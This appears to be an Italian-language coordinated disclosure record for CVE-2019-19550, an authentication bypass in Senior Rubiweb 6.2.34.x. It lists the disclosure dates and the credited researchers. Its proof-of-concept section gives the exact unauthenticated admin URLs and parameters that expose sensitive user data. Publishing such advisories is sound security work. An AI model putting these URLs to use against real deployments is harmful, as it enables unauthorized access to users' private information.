CVE-2019-19550

---

[Descrizione]

Bypass dell'autenticazione remota in Senior Rubiweb 6.2.34.28 e 6.2.34.37 consente l'accesso admin a informazioni sensibili degli utenti interessati utilizzando versioni vulnerabili. L'attaccante ha solo bisogno di fornire l'URL corretto.

---

[Date Importanti]

• Annuncio (al fornitore): 2019-12-02
• Data di divulgazione pubblica: 2020-01-30

---

[Tipo di Vulnerabilità]

Controllo di Accesso Errato

---

[Fornitore del Prodotto]

Senior

---

[Base del Codice del Prodotto Affetto]

• Rubiweb - 6.2.34.37
• Rubiweb - 6.2.34.28
• Altre versioni potrebbero essere interessate, specialmente nella stessa famiglia (non ancora testate)

---

[Componente Affetto]

Rubiweb

---

[Tipo di Attacco]

Remoto

---

[Impatto Divulgazione Informazioni]

Vero

---

[Vettori d'Attacco]

L'accesso a informazioni sensibili è disponibile pubblicamente senza requisiti speciali (solo l'URI corretto)

---

[Il fornitore ha confermato o riconosciuto la vulnerabilità?]

Vero

---

[PoC - Prova di Concetto]

1. Prova semplicemente a connetterti al portale autenticato per confermare l'esistenza e la versione del prodotto affetto:
   • hXXp://subdomain.customer.tld:8080/rubiweb/
2. Accedi alla pagina vulnerabile (admin senza autenticazione):
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU

---

[Scopritore]

Mauricio Santos (R&D UnderProtection) e Hesron Hori (R&D UnderProtection)

---

[Ringraziamenti a]

Senior - Il team di sicurezza informatica del fornitore che ha collaborato a una divulgazione coordinata

---

[Riferimenti]

• https://www.underprotection.com.br
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm#central-de-configuracao/CfgWebApplicationsForm.htm%23CfgWebApplicationsForm_edtUserName